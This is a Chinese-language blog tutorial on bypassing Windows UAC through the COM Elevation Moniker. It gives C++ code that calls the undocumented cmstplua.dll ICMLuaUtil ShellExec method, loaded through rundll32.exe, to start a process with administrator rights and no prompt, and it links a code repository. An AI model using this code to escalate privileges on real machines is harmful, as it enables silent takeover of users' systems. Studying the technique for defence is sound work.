目录

一、引言

二、使用 COM 提升名称方法绕过 UAC

2.1 什么样的 COM 组件支持自动提权

2.2 如何以提升名称方法创建 COM 组件对象

2.3 有了权限提升的 COM 组件对象后,怎么为我们所用呢

2.4 使用 rundll32.exe 执行 COM 提升名称代码

2.4.1 rundll32.exe 简介

2.4.2 使用 rundll32.exe 执行 COM 提升名称代码

2.5 原理总结

三、总结

参考文档


本文中代码仓库地址:

https://gitee.com/langshanglibie/BypassUAC

一、引言

Windows 系统从 Vista 版本开始引入了一种名为 UAC(User Account Control,用户帐户控制)的提高系统安全的核心机制。

在 UAC 机制下,程序在申请管理员权限时,系统会弹出 UAC 提示窗口让用户确认,以达到阻止恶意程序损坏系统的效果。

如果是没有数字签名的程序,提示窗口顶部呈现醒目的黄色。

系统提供了一些让程序可以获取管理员权限的方法,但是都会弹出 UAC 提示窗口让用户确认。

那么,有办法绕过 UAC、不弹出提示窗口而获取管理员权限吗?有,本文介绍的“COM 提升名称”就是这样的一种方法。

二、使用 COM 提升名称方法绕过 UAC

通过 COM 提升名称(The COM Elevation Moniker)方法,程序可以以管理员权限创建 COM 组件对象,而不会弹出 UAC 提示窗口。

COM 提升名称方法需要 COM 组件和及其使用者的共同配合:

  1. COM 组件支持自动提权。
  2. COM 组件使用者必须以提升名称方式创建 COM 组件对象。

2.1 什么样的 COM 组件支持自动提权

如果要支持自动提权,COM 组件需要在注册表中进行一些配置。

需在注册表中进行的配置

注册表位置

1. 配置 displayName

HKEY_LOCAL_MACHINE\Software\Classes\CLSID

{CLSID}

LocalizedString = displayName

例如:

HKEY_CLASSES_ROOT\CLSID\{3E5FC7F9-9A51-4367-9063-A120244FBEC7}

2. 配置可以提权

HKEY_LOCAL_MACHINE\Software\Classes\CLSID

{CLSID}

Elevation

Enabled = 1

例如:

HKEY_CLASSES_ROOT\CLSID\{3E5FC7F9-9A51-4367-9063-A120244FBEC7}\Elevation

3. 配置可以自动提权

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\UAC\COMAutoApprovalList

2.2 如何以提升名称方法创建 COM 组件对象

下面的代码来自微软官网文档,展示了如何以提升名称方法创建权限提升的 COM 组件对象,该对象被创建完成后便拥有管理员权限。

HRESULT CoCreateInstanceAsAdmin(HWND hwnd, REFCLSID rclsid, REFIID riid, __out void ** ppv)

{

BIND_OPTS3 bo;

WCHAR  wszCLSID[50];

WCHAR  wszMonikerName[300];

StringFromGUID2(rclsid, wszCLSID, sizeof(wszCLSID) / sizeof(wszCLSID[0]));

HRESULT hr = StringCchPrintf(wszMonikerName,

sizeof(wszMonikerName) / sizeof(wszMonikerName[0]),

L"Elevation:Administrator!new:%s", wszCLSID);

if (FAILED(hr))

return hr;

memset(&bo, 0, sizeof(bo));

bo.cbStruct = sizeof(bo);

bo.hwnd = hwnd;

bo.dwClassContext = CLSCTX_LOCAL_SERVER;

return CoGetObject(wszMonikerName, &bo, riid, ppv);

}

关键语法:

Elevation:Administrator!new:{guid}

new 关键字表示创建一个 COM 组件的实例,guid 即 COM 组件的 CLSID,Administrator 表示以管理员权限创建之。

2.3 有了权限提升的 COM 组件对象后,怎么为我们所用呢

要想为我们所用,需要 COM 组件中含有执行命令的方法。系统中的 COM 组件 cmstplua.dll 正好满足这样的条件,且支持自动提权。

其实现的接口 ICMLuaUtil 中含有 ShellExec 方法。看上去是不是似曾相识?

HRESULT(STDMETHODCALLTYPE *ShellExec)(ICMLuaUtil* This,

    LPCWSTR lpFile,

    LPCTSTR lpParameters,

    LPCTSTR lpDirectory,

    ULONG fMask,

    ULONG nShowCmd

);

对,这个方法和系统函数 ShellExecute 一样可以用来创建进程,函数签名也几乎一致。多么合乎心意的方法!

目前为止,看上去万事俱备了,只欠把代码写出来了。

于是,创建了个测试程序,一顿敲击之后,主要代码如下:

bool CMLuaUtilBypassUAC(LPCTSTR szExePath)

{

// 为简化代码篇幅,省略了错误处理逻辑

CLSID clsidICMLuaUtil = {0};

IID iidICMLuaUtil = {0};

::CLSIDFromString(CLSID_CMSTPLUA, &clsidICMLuaUtil);

::IIDFromString(IID_ICMLuaUtil, &iidICMLuaUtil);

// 以提升名称方式创建 COM 组件对象,获取其 IID_ICMLuaUtil 接口

ICMLuaUtil *pCMLuaUtil = nullptr;

CoCreateInstanceAsAdmin(nullptr, clsidICMLuaUtil, iidICMLuaUtil, (PVOID*)(&pCMLuaUtil));

// 启动目标程序

pCMLuaUtil->lpVtbl->ShellExec(pCMLuaUtil, szExePath, nullptr, nullptr, 0, SW_SHOW);

pCMLuaUtil->lpVtbl->Release(pCMLuaUtil);

}

......

......

// 调用上面函数,欲绕过 UAC 以管理员权限创建目标进程

CMLuaUtilBypassUAC(L"C:\\Test.exe");

OK,按下 F5,运行!

What? 系统 UAC 弹窗还是蹦了出来。

Why?

这是因为如果执行 COM 提升名称代码的程序的身份是不可信的,还是会触发 UAC 弹窗。只有是系统可信程序,才不会触发 UAC 弹窗。

因此,必须使这段代码在系统可信程序中运行。常用的系统可信程序有记事本、计算器、资源管理器等。

我们可以通过代码注入技术,将这段代码注入到这些程序的进程空间中执行。但是,最简单的莫过于直接通过系统中的 rundll32.exe 程序来加载我们的 DLL,来执行这段代码。

2.4 使用 rundll32.exe 执行 COM 提升名称代码

2.4.1 rundll32.exe 简介

rundll32.exe 是 Windows 中的一个系统程序,顾名思义,就是用来执行 DLL 文件的(实质是执行 DLL 的导出函数)。

rundll32.exe 语法:

rundll32.exe DllName,EntryPoint [Arguments]

DllName 和 EntryPoint 之间用空格或逗号分割。参数含义:

DllName

EntryPoint

Arguments

需要执行的 DLL文件名或全路径

要调用的 DLL 中的导出函数

函数参数(可选)

EntryPoint 函数必须兼容以下函数签名,才能成功被 rundll32.exe 调用。

void CALLBACK EntryPoint(

HWND      hWnd,

HINSTANCE hInstance,

LPCTSTR   lpszCmdLine,

int       nCmdShow

);

各参数含义如下:

hWnd

rundll32.exe 内部创建的名为“RunDLL”的窗口的句柄。

hInstance

rundll32.exe 进程的句柄。

lpszCmdLine

我们传递的 Arguments 字符串。

nCmdShow

固定为 10,即系统常量 SW_SHOWDEFAULT。

rundll32.exe 使用示例:

  • rundll32.exe shell32.dll,Control_RunDLL (调用控制面板)
  • rundll32.exe shell32.dll,Control_RunDLL timedate.cpl (调用控制面板中的日期和时间功能)
  • rundll32.exe user32.dll,LockWorkStation (锁屏)

2.4.2 使用 rundll32.exe 执行 COM 提升名称代码

要想调用 rundll32.exe,必须将之前的代码封装成一个 DLL,导出一个创建进程的函数给 rundll32.exe 调用。

// 导出函数,给 rundll32.exe 调用。末尾的 W 表示宽字符版本。

void CALLBACK BypassUACW(HWND hWnd, HINSTANCE hInstance, LPCTSTR lpszCmdLine, int nCmdShow)

{

CMLuaUtilBypassUAC(lpszCmdLine);

}

然后在之前的测试程序中,通过 rundll32.exe 来调用 BypassUACW 函数。

void Rundll32BypassUAC(LPCTSTR szExePath)

{

static LPCTSTR szRundll32Path = _T("C:\\Windows\\SysWOW64\\rundll32.exe");

const std::wstring& dllPath = GetCurrentProcessDirPath() + _T("BypassUAC.dll");

// 组织参数传递给 rundll32.exe

TCHAR szCmdLine[MAX_PATH] = {0};

::StringCchPrintf(szCmdLine, _countof(szCmdLine), _T("%s \"%s\" %s %s"),

szRundll32Path,

dllPath.c_str(),

_T("BypassUAC"),

szExePath);

// 启动 rundll32.exe

STARTUPINFO si;

PROCESS_INFORMATION pi;

::ZeroMemory(&si, sizeof(si));

si.cb = sizeof(si);

::ZeroMemory(&pi, sizeof(pi));

if (::CreateProcess(nullptr, szCmdLine, nullptr, nullptr, FALSE, 0, nullptr, nullptr, &si, &pi))

{

::CloseHandle(pi.hProcess);

::CloseHandle(pi.hThread);

}

}

......

......

// 调用上面函数,绕过 UAC 以管理员权限创建目标进程

Rundll32BypassUAC(L"C:\\Test.exe");

按下 F5,运行!这次,系统 UAC 提示窗口没再弹出来了,我们成功地绕过了 UAC 而获取到了管理员权限。

2.5 原理总结

COM 提升名称方法允许运行在 UAC 下的应用程序,创建权限提升的 COM 组件对象。

同时,系统中的 cmstplua.dll 组件实现的 ICMLuaUtil 接口正好提供了 ShellExec 方法,可以用来创建进程。

因此,我们可以利用 COM 提升名称方法来创建 cmstplua.dll 组件,之后通过其实现的接口 ICMLuaUtil 中的 ShellExec 方法来创建我们的目标进程,如此达到绕过 UAC 而获取到管理员权限的目的。

整个过程如下图所示。

三、总结

通过本文我们可以知道,Windows 系统安全机制并非固若金汤。通过 COM 提升名称方法,程序可以绕过其核心安全机制 UAC 而获取到系统管理员权限。

但需要提醒的是,本文中我们使用的 COM 组件 cmstplua.dll 及其接口 ICMLuaUtil 都是 Undocumented 的,在微软官网文档中查不到任何说明和参考,存在将来被微软修改的可能,所以建议尽量使用系统提供的常规方式获取管理员权限。

参考文档

User Account Control (Windows) | Microsoft Learn

The COM Elevation Moniker - Win32 apps | Microsoft Learn

rundll32 | Microsoft Learn

可以绕过 Windows UAC 吗相关推荐

  1. 操作系统权限提升(十二)之绕过UAC提权-Windows UAC概述

    系列文章 操作系统权限提升(一)之操作系统权限介绍 操作系统权限提升(二)之常见提权的环境介绍 操作系统权限提升(三)之Windows系统内核溢出漏洞提权 操作系统权限提升(四)之系统错误配置-Tus ...

  2. 一比特控制所有:通过一比特绕过Windows 10保护

    cssembly · 2015/02/12 9:24 0x00 前言 这篇文章讲述了微软最新修补的漏洞CVE-2015-0057的细节. 原文:<One-Bit To Rule Them All ...

  3. 升级系统——绕过Windows正版验证程序

    两天前,我们还在为微软拿盗版用户开刀而惋惜.今天,我们就从网友那里获致了最新的绕过Windows正版验证程序而直接享受与正版用户相同的升级服务的方法. 来自国外的方法,原文是这样的: Microsof ...

  4. 绕过Windows正版验证新方法

    主题 :  绕过Windows正版验证新方法   | | | 收件箱   如果你的Windows安装出现问题,或者某些难以启齿的原因让你无法从Windows 微软Update网站,在选择"E ...

  5. 绕过Windows XP的密码在安全模式

    绕过Windows XP的密码在安全模式 很多时候是因为错误的用户密码,您不能启动到正常的Windows模式下,您可以启动Windows XP在安全模式下登录的默认管理员帐户来绕过其他用户的密码. 什 ...

  6. Nmap抓包分析与绕过Windows防火墙

    前言 在打靶场的过程中使用Nmap时发现点小问题,借此机会详细分析下情况,于是有了这篇文章. 本文包含以下内容: Nmap抓包分析 内网下绕过Windows防火墙扫描存活主机 这里主要是针对Nmap进 ...

  7. CVE-2019-1388 Windows UAC 漏洞复现

    CVE-2019-1388 Windows UAC 漏洞复现 文章目录 CVE-2019-1388 Windows UAC 漏洞复现 1. 概述 1.1 UAC 1.2 漏洞简述 1.3 风险等级 1 ...

  8. 如何利用英特尔管理工具绕过Windows防火墙

    微软透露,名为PLATINUM(铂金)的黑客组织,利用英特尔vPro处理器和芯片集中可用的主动管理技术(AMT),简单地完全绕过了Windows防火墙. 基本上, 该黑客组织的文件传输工具主要利用的, ...

  9. Windows UAC提权

    一.UAC简介 1. UAC UAC是微软为提高系统安全性中引入的技术.UAC要求用户在执行可能影响计算机运行的操作或者在进行可能影响其他用户的设置之前,拥有相应的权限或者管理员密码.UAC在操作启动 ...

最新文章

  1. 报名 | 挑战极限,参加2天清华数据Hackathon,赢得4万元奖金
  2. Linux学习笔记-软件安装管理
  3. magento 的一些关于addFieldToFilter的查询
  4. 我的WCF之旅(4):WCF中的序列化[下篇]
  5. 浅谈js函数三种定义方式 四种调用方式 调用顺序
  6. b区计算机复试国家线,2020研究生考试国家线A区B区有什么区别
  7. 模式识别经典算法——Kmeans图像聚类分割(以最短的matlab程序实现)
  8. 半小时在白板上写代码实现一致性哈希Hash算法
  9. 我的2021 年终总结
  10. Nginx 重定向所有子域名到www
  11. Python/python/xpath爬虫--妙招网
  12. UE4场景流程规范-纹理压缩(美术版/程序版/太长不看版)
  13. Anaconda中pkgs文件夹详解
  14. 计算机网络复习-典型题目答案
  15. sqlite数据库连接方法
  16. VBA-循环语句总结
  17. 一个关于中国省市区的字典,数组嵌套使用
  18. C++面向对象实验4:类和对象二——第二题:商店销售
  19. 洛谷P1168 中位数
  20. 隐藏计算机关机键,Windows 10系统隐藏电源按钮、关机、睡眠、重启等

热门文章

  1. vscode上传项目到github
  2. 如何在Photoshop利用消失点
  3. mysql @@version_查看mysql数据库版本方法总结
  4. 身份证,手机号,姓名 脱敏格式化处理
  5. 微信小程序跳转页面的几种方式,值得收藏
  6. 培养以科学技能为本的Steam教育
  7. 开复老师自传《世界因你不同》!
  8. Tapdata 实时数据中台在智慧教育中的实践
  9. 从产品经理角度看百度之殇和头条之崛起,Do a CEO as a product manager
  10. 网络安全-字典生成-crunch